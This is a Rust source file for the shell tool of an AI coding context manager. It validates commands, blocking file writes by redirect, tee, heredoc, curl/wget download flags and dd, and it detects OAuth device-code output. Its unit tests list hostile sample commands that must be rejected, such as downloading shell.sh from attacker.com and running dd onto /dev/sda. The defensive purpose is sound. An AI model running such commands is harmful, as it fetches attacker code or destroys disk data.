Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    if command.len() > MAX_COMMAND_BYTES {
9        return Some(format!(
10            "ERROR: Command too large ({} bytes, limit {}). \
11             If you're writing file content, use the native Write/Edit tool instead. \
12             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13            command.len(),
14            MAX_COMMAND_BYTES
15        ));
16    }
17
18    if has_file_write_redirect(command) {
19        return Some(
20            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
21             Use the native Write tool to create/modify files. \
22             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
23             File writes via shell cause MCP protocol corruption on large payloads."
24                .to_string(),
25        );
26    }
27
28    let cmd_lower = command.to_lowercase();
29
30    if cmd_lower.starts_with("tee ") || cmd_lower.contains("| tee ") {
31        return Some(
32            "ERROR: ctx_shell detected a file-write command (tee). \
33             Use the native Write tool to create/modify files. \
34             ctx_shell is ONLY for reading command output."
35                .to_string(),
36        );
37    }
38
39    if is_heredoc_file_write(command) {
40        return Some(
41            "ERROR: ctx_shell detected a heredoc writing to a file. \
42             Use the native Write tool to create/modify files. \
43             ctx_shell is ONLY for reading command output. \
44             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
45                .to_string(),
46        );
47    }
48
49    if let Some(reason) = download_to_file_reason(command) {
50        return Some(format!(
51            "ERROR: ctx_shell detected a file download/write ({reason}). \
52             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
53             this doctrine, so they are blocked too (GH #391). \
54             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
55             native tools to create files."
56        ));
57    }
58
59    None
60}
61
62/// Detects download/copy tools writing directly to files via their own flags
63/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
64/// `> file`, reported as a `validate_command` bypass in GH #391.
65fn download_to_file_reason(command: &str) -> Option<String> {
66    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
67        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
68        let Some(first) = tokens.first() else {
69            continue;
70        };
71        let base = first.rsplit('/').next().unwrap_or(first);
72        match base {
73            "curl" => {
74                for tok in &tokens[1..] {
75                    if tok == "--output"
76                        || tok.starts_with("--output=")
77                        || tok == "--remote-name"
78                        || tok == "--remote-name-all"
79                        || tok == "--output-dir"
80                        || tok.starts_with("--output-dir=")
81                    {
82                        return Some(format!("curl {tok}"));
83                    }
84                    // Short flags cluster: -o / -O anywhere in e.g. `-fsSLo`.
85                    if tok.starts_with('-')
86                        && !tok.starts_with("--")
87                        && tok[1..].contains(['o', 'O'])
88                    {
89                        return Some(format!("curl {tok}"));
90                    }
91                }
92            }
93            "wget" => {
94                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
95                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
96                    tok == "--output-document=-"
97                        || tok == "-O-"
98                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
99                        || ((tok == "-O" || tok == "--output-document")
100                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
101                        || tok == "--spider"
102                });
103                if !to_stdout {
104                    return Some(
105                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
106                            .to_string(),
107                    );
108                }
109            }
110            "dd" => {
111                for tok in &tokens[1..] {
112                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
113                        return Some(format!("dd {tok}"));
114                    }
115                }
116            }
117            _ => {}
118        }
119    }
120    None
121}
122
123/// Returns true only for heredocs that redirect to files (the dangerous pattern).
124/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
125fn is_heredoc_file_write(command: &str) -> bool {
126    let has_heredoc = command.contains("<<");
127    if !has_heredoc {
128        return false;
129    }
130    // Only block: heredoc combined with file output redirect
131    // e.g. `cat <<EOF > file.txt` or `cat <<'EOF' >> output.log`
132    let cmd_lower = command.to_lowercase();
133    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
134    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
135    if !has_known_heredoc {
136        return false;
137    }
138    has_file_write_redirect(command)
139}
140
141/// Detects shell redirect operators (`>` or `>>`) that write to files.
142/// Ignores `>` inside quotes, `2>` (stderr), `/dev/null`, and comparison operators.
143fn has_file_write_redirect(command: &str) -> bool {
144    let bytes = command.as_bytes();
145    let len = bytes.len();
146    let mut i = 0;
147    let mut in_single_quote = false;
148    let mut in_double_quote = false;
149
150    while i < len {
151        let c = bytes[i];
152        if c == b'\'' && !in_double_quote {
153            in_single_quote = !in_single_quote;
154        } else if c == b'"' && !in_single_quote {
155            in_double_quote = !in_double_quote;
156        } else if c == b'>' && !in_single_quote && !in_double_quote {
157            if i > 0 && bytes[i - 1] == b'2' {
158                i += 1;
159                continue;
160            }
161            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
162                i + 2
163            } else {
164                i + 1
165            };
166            let target: String = command[target_start..]
167                .trim_start()
168                .chars()
169                .take_while(|c| !c.is_whitespace())
170                .collect();
171            if target == "/dev/null" {
172                i += 1;
173                continue;
174            }
175            if !target.is_empty() {
176                return true;
177            }
178        }
179        i += 1;
180    }
181    false
182}
183
184/// On Windows cmd.exe, `;` is not a valid command separator.
185/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
186pub fn normalize_command_for_shell(command: &str) -> String {
187    if !cfg!(windows) {
188        return command.to_string();
189    }
190    let (_, flag) = crate::shell::shell_and_flag();
191    if flag != "/C" {
192        return command.to_string();
193    }
194    let bytes = command.as_bytes();
195    let mut result = Vec::with_capacity(bytes.len() + 16);
196    let mut in_single = false;
197    let mut in_double = false;
198    for (i, &b) in bytes.iter().enumerate() {
199        if b == b'\'' && !in_double {
200            in_single = !in_single;
201        } else if b == b'"' && !in_single {
202            in_double = !in_double;
203        } else if b == b';' && !in_single && !in_double {
204            result.extend_from_slice(b" && ");
205            continue;
206        }
207        result.push(b);
208        let _ = i;
209    }
210    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
211}
212
213/// Compresses shell command output using the unified compression pipeline.
214/// This delegates to the same `compress_if_beneficial` logic used by the CLI,
215/// ensuring consistent behavior for excluded_commands, structural routing, and terse.
216pub fn handle(command: &str, output: &str, _crp_mode: CrpMode) -> String {
217    crate::shell::compress::engine::compress_if_beneficial(command, output)
218}
219
220#[cfg(test)]
221fn is_search_command(command: &str) -> bool {
222    let cmd = command.trim_start();
223    cmd.starts_with("grep ")
224        || cmd.starts_with("rg ")
225        || cmd.starts_with("find ")
226        || cmd.starts_with("fd ")
227        || cmd.starts_with("ag ")
228        || cmd.starts_with("ack ")
229}
230
231#[cfg(test)]
232fn generic_compress(output: &str) -> String {
233    let output = crate::core::compressor::strip_ansi(output);
234    let lines: Vec<&str> = output
235        .lines()
236        .filter(|l| {
237            let t = l.trim();
238            !t.is_empty()
239        })
240        .collect();
241
242    if lines.len() <= 20 {
243        return lines.join("\n");
244    }
245
246    let show_count = (lines.len() / 3).min(30);
247    let half = show_count / 2;
248    let first = &lines[..half];
249    let last = &lines[lines.len() - half..];
250    let omitted = lines.len() - (half * 2);
251    format!(
252        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
253        first.join("\n"),
254        half * 2,
255        lines.len(),
256        omitted,
257        last.join("\n")
258    )
259}
260
261/// Detects OAuth device code flow output that must not be compressed.
262/// Uses a two-tier approach: strong signals match alone (very specific to
263/// device code flows), weak signals require a URL/domain in the same output.
264pub fn contains_auth_flow(output: &str) -> bool {
265    let lower = output.to_lowercase();
266
267    const STRONG_SIGNALS: &[&str] = &[
268        "devicelogin",
269        "deviceauth",
270        "device_code",
271        "device code",
272        "device-code",
273        "verification_uri",
274        "user_code",
275        "one-time code",
276    ];
277
278    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
279        return true;
280    }
281
282    const WEAK_SIGNALS: &[&str] = &[
283        "enter the code",
284        "enter this code",
285        "enter code:",
286        "use the code",
287        "use a web browser to open",
288        "open the page",
289        "authenticate by visiting",
290        "sign in with the code",
291        "sign in using a code",
292        "verification code",
293        "authorize this device",
294        "waiting for authentication",
295        "waiting for login",
296        "waiting for you to authenticate",
297        "open your browser",
298        "open in your browser",
299    ];
300
301    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
302    if !has_weak_signal {
303        return false;
304    }
305
306    lower.contains("http://") || lower.contains("https://")
307}
308
309#[cfg(test)]
310mod tests {
311    use super::*;
312
313    #[test]
314    fn normalize_cmd_no_change_on_unix() {
315        if cfg!(windows) {
316            return;
317        }
318        assert_eq!(
319            normalize_command_for_shell("cd /tmp; ls -la"),
320            "cd /tmp; ls -la"
321        );
322    }
323
324    #[test]
325    fn validate_allows_safe_commands() {
326        assert!(validate_command("git status").is_none());
327        assert!(validate_command("cargo test").is_none());
328        assert!(validate_command("npm run build").is_none());
329        assert!(validate_command("ls -la").is_none());
330    }
331
332    #[test]
333    fn validate_blocks_file_writes() {
334        assert!(validate_command("echo 'data' > output.txt").is_some());
335        assert!(validate_command("tee /tmp/file.txt").is_some());
336        assert!(validate_command("printf 'hello' > test.txt").is_some());
337    }
338
339    #[test]
340    fn validate_blocks_heredoc_with_file_redirect() {
341        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
342        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
343        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
344    }
345
346    #[test]
347    fn validate_allows_heredoc_without_file_redirect() {
348        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
349        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
350        assert!(
351            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
352        );
353        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
354    }
355
356    #[test]
357    fn validate_blocks_oversized_commands() {
358        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
359        let result = validate_command(&huge);
360        assert!(result.is_some());
361        assert!(result.unwrap().contains("too large"));
362    }
363
364    #[test]
365    fn validate_allows_cat_without_redirect() {
366        assert!(validate_command("cat file.txt").is_none());
367    }
368
369    // --- GH #391: download tools writing files without shell redirects ---
370
371    #[test]
372    fn validate_blocks_curl_output_flags() {
373        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
374        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
375        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
376        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
377        assert!(validate_command("curl -O https://example.com/payload").is_some());
378        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
379    }
380
381    #[test]
382    fn validate_allows_curl_to_stdout() {
383        assert!(validate_command("curl https://api.example.com/health").is_none());
384        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
385        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
386        // -H takes a value; no o/O short flag involved.
387        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
388    }
389
390    #[test]
391    fn validate_blocks_wget_default_file_download() {
392        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
393        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
394        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
395    }
396
397    #[test]
398    fn validate_allows_wget_stdout_and_spider() {
399        assert!(validate_command("wget -qO- https://example.com").is_none());
400        assert!(validate_command("wget -O- https://example.com").is_none());
401        assert!(validate_command("wget -O - https://example.com").is_none());
402        assert!(validate_command("wget --output-document=- https://example.com").is_none());
403        assert!(validate_command("wget --spider https://example.com").is_none());
404    }
405
406    #[test]
407    fn validate_blocks_dd_output_file() {
408        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
409        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
410    }
411
412    #[test]
413    fn validate_allows_dd_read_only() {
414        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
415        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
416    }
417
418    // --- Auth flow detection: strong signals (no URL needed) ---
419
420    #[test]
421    fn auth_flow_detects_azure_device_code() {
422        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
423        assert!(contains_auth_flow(output));
424    }
425
426    #[test]
427    fn auth_flow_detects_gh_auth_one_time_code() {
428        let output =
429            "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
430        assert!(contains_auth_flow(output));
431    }
432
433    #[test]
434    fn auth_flow_detects_device_code_json() {
435        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
436        assert!(contains_auth_flow(output));
437    }
438
439    #[test]
440    fn auth_flow_detects_verification_uri_field() {
441        let output =
442            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
443        assert!(contains_auth_flow(output));
444    }
445
446    #[test]
447    fn auth_flow_detects_user_code_field() {
448        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
449        assert!(contains_auth_flow(output));
450    }
451
452    // --- Auth flow detection: weak signals (require URL) ---
453
454    #[test]
455    fn auth_flow_detects_gcloud_with_url() {
456        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
457        assert!(contains_auth_flow(output));
458    }
459
460    #[test]
461    fn auth_flow_detects_aws_sso_with_url() {
462        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
463        assert!(contains_auth_flow(output));
464    }
465
466    #[test]
467    fn auth_flow_detects_firebase_with_url() {
468        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
469        assert!(contains_auth_flow(output));
470    }
471
472    #[test]
473    fn auth_flow_detects_generic_browser_open_with_url() {
474        let output =
475            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
476        assert!(contains_auth_flow(output));
477    }
478
479    // --- False positive protection ---
480
481    #[test]
482    fn auth_flow_ignores_normal_build_output() {
483        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
484        assert!(!contains_auth_flow(output));
485    }
486
487    #[test]
488    fn auth_flow_ignores_git_output() {
489        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
490        assert!(!contains_auth_flow(output));
491    }
492
493    #[test]
494    fn auth_flow_ignores_npm_install_output() {
495        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
496        assert!(!contains_auth_flow(output));
497    }
498
499    #[test]
500    fn auth_flow_ignores_docs_mentioning_auth() {
501        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
502        assert!(!contains_auth_flow(output));
503    }
504
505    #[test]
506    fn auth_flow_weak_signal_requires_url() {
507        let output = "Please enter the code ABC123 in the terminal";
508        assert!(!contains_auth_flow(output));
509    }
510
511    #[test]
512    fn auth_flow_weak_signal_without_url_is_ignored() {
513        let output = "Waiting for authentication to complete... done!";
514        assert!(!contains_auth_flow(output));
515    }
516
517    #[test]
518    fn auth_flow_ignores_virtualenv_activate() {
519        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
520        assert!(!contains_auth_flow(output));
521    }
522
523    #[test]
524    fn auth_flow_ignores_api_response_with_code_field() {
525        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
526        assert!(!contains_auth_flow(output));
527    }
528
529    // --- Integration: handle() preserves auth flow ---
530
531    #[test]
532    fn handle_preserves_auth_flow_output_fully() {
533        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
534        // az login is Passthrough via OutputPolicy, so all content is preserved
535        let result = handle("az login --use-device-code", output, CrpMode::Off);
536        assert!(result.contains("ABCD1234"), "auth code must be preserved");
537        assert!(result.contains("devicelogin"), "URL must be preserved");
538        assert!(
539            result.contains("Line 13"),
540            "all lines must be preserved (no truncation)"
541        );
542    }
543
544    #[test]
545    fn handle_compresses_normal_output_not_auth() {
546        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
547        let output = lines.join("\n");
548        let result = handle("some-tool check", &output, CrpMode::Off);
549        assert!(
550            !result.contains("auth/device-code flow detected"),
551            "normal output must not trigger auth detection"
552        );
553        assert!(
554            result.len() < output.len() + 100,
555            "normal output should be compressed, not inflated"
556        );
557    }
558
559    #[test]
560    fn is_search_command_detects_grep() {
561        assert!(is_search_command("grep -r pattern src/"));
562        assert!(is_search_command("rg pattern src/"));
563        assert!(is_search_command("find . -name '*.rs'"));
564        assert!(is_search_command("fd pattern"));
565        assert!(is_search_command("ag pattern src/"));
566        assert!(is_search_command("ack pattern"));
567    }
568
569    #[test]
570    fn is_search_command_rejects_non_search() {
571        assert!(!is_search_command("cargo build"));
572        assert!(!is_search_command("git status"));
573        assert!(!is_search_command("npm install"));
574        assert!(!is_search_command("cat file.rs"));
575    }
576
577    #[test]
578    fn generic_compress_preserves_short_output() {
579        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
580        let output = lines.join("\n");
581        let result = generic_compress(&output);
582        assert_eq!(result, output);
583    }
584
585    #[test]
586    fn generic_compress_scales_with_length() {
587        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
588        let output = lines.join("\n");
589        let result = generic_compress(&output);
590        assert!(result.contains("truncated"));
591        let shown_count = result.lines().count();
592        assert!(
593            shown_count > 10,
594            "should show more than old 6-line limit, got {shown_count}"
595        );
596        assert!(shown_count < 60, "should be truncated, not full output");
597    }
598
599    #[test]
600    fn handle_preserves_search_results() {
601        let lines: Vec<String> = (1..=30)
602            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
603            .collect();
604        let output = lines.join("\n");
605        let result = handle("rg search_result src/", &output, CrpMode::Off);
606        for i in 1..=30 {
607            assert!(
608                result.contains(&format!("file{i}")),
609                "search result file{i} should be preserved in output"
610            );
611        }
612    }
613}